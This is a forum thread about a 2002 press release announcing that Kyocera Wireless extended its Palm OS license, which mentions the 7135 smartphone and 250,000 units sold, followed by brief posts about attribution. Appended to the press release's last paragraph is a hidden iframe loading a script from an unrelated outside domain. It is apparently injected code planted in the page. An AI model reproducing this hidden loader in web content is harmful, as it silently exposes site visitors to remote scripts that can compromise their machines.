This mentions the 7135, but nothing about release date. Can you believe that they've sold 250,000 6035s??

Kyocera Wireless Corp. Extends Palm OS Platform License Through 2005

Agreement Supports Ongoing Development and Distribution of Kyocera's Industry-Leading Palm Powered(TM) Smartphones
Wednesday October 16, 9:30 am ET


SAN DIEGO & SUNNYVALE, Calif.--(BUSINESS WIRE)--Oct. 16, 2002-- Kyocera Wireless Corp. today announced a three-year extension to its licensing agreement with PalmSource Inc. (subsidiary of Palm Inc., Nasdaq: PALM).

Under terms of the agreement, Kyocera will continue expanding its line of smartphone devices utilizing the industry-leading Palm OS® platform. The Kyocera license covers Palm OS versions 3, 4, 5 and beyond, as well as Palm applications, and may include future value-added products.

Kyocera Wireless Corp. created the category of Palm OS-based smartphone devices, or devices that combine wireless connectivity and the Palm handheld computing platform, in North America with the March 2001 launch of its QCP 6035 smartphone. The QCP 6035 was the first device to successfully merge a wireless phone with a Palm Powered(TM) personal digital assistant. To date, Kyocera has sold more than 250,000 smartphones in North America.

"Our ongoing relationship with PalmSource is the foundation of Kyocera's converged device development plans into the foreseeable future," said Skip Speaks, president and CEO of Kyocera Wireless Corp. "We pioneered this category and we continue to lead with our new 7135 smartphone. Together, we'll continue making great products that keep consumers and enterprises alike connected, entertained and organized."

With the recent announcement of the Kyocera 7135 smartphone, Kyocera Wireless Corp. continues to set the standard for converged device design, functionality and ease-of-use. Among its many features, the 7135 is the first smartphone with an expansion slot, a 65,000-color display, and an on-board MP3 player. It also incorporates GPS position-location technology and CDMA2000 1X for data speeds of up to 153 kbps. Kyocera Wireless Corp. plans to maintain its market leadership by continuing its line of handsets incorporating the Palm OS software and bearing the Palm Powered brand identity.

For PalmSource, the agreement further extends the Palm OS platform onto high-speed third-generation wireless networks and creates new opportunities to support wireless access to enterprise networks. Kyocera Wireless Corp. will continue to support a PalmSource application developers program.

"Kyocera's innovation and leadership role in the creation of smart phones has helped to establish the Palm OS platform as the industry-leading standard. Our continued partnership will accelerate the expansion of the smartphone market and provide users with new innovative devices," said David Nagel, president and chief executive officer of PalmSource.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

FYI, here is the original article. (Nothing more in it than is here, but I always feel attribution is the right thing to do.)

http://www.businesswire.com/cgi-bin/...040&ticker=kyo|palm

Thanks for clarifying. I certainly wasn't trying to pass it off as my own work.

No judgement intended, Dave. It took me about 5 minuntes of digging to find the article myself, even though I had the clues in your post. Just crossing all the t's and dotting all the i's.

Thanks.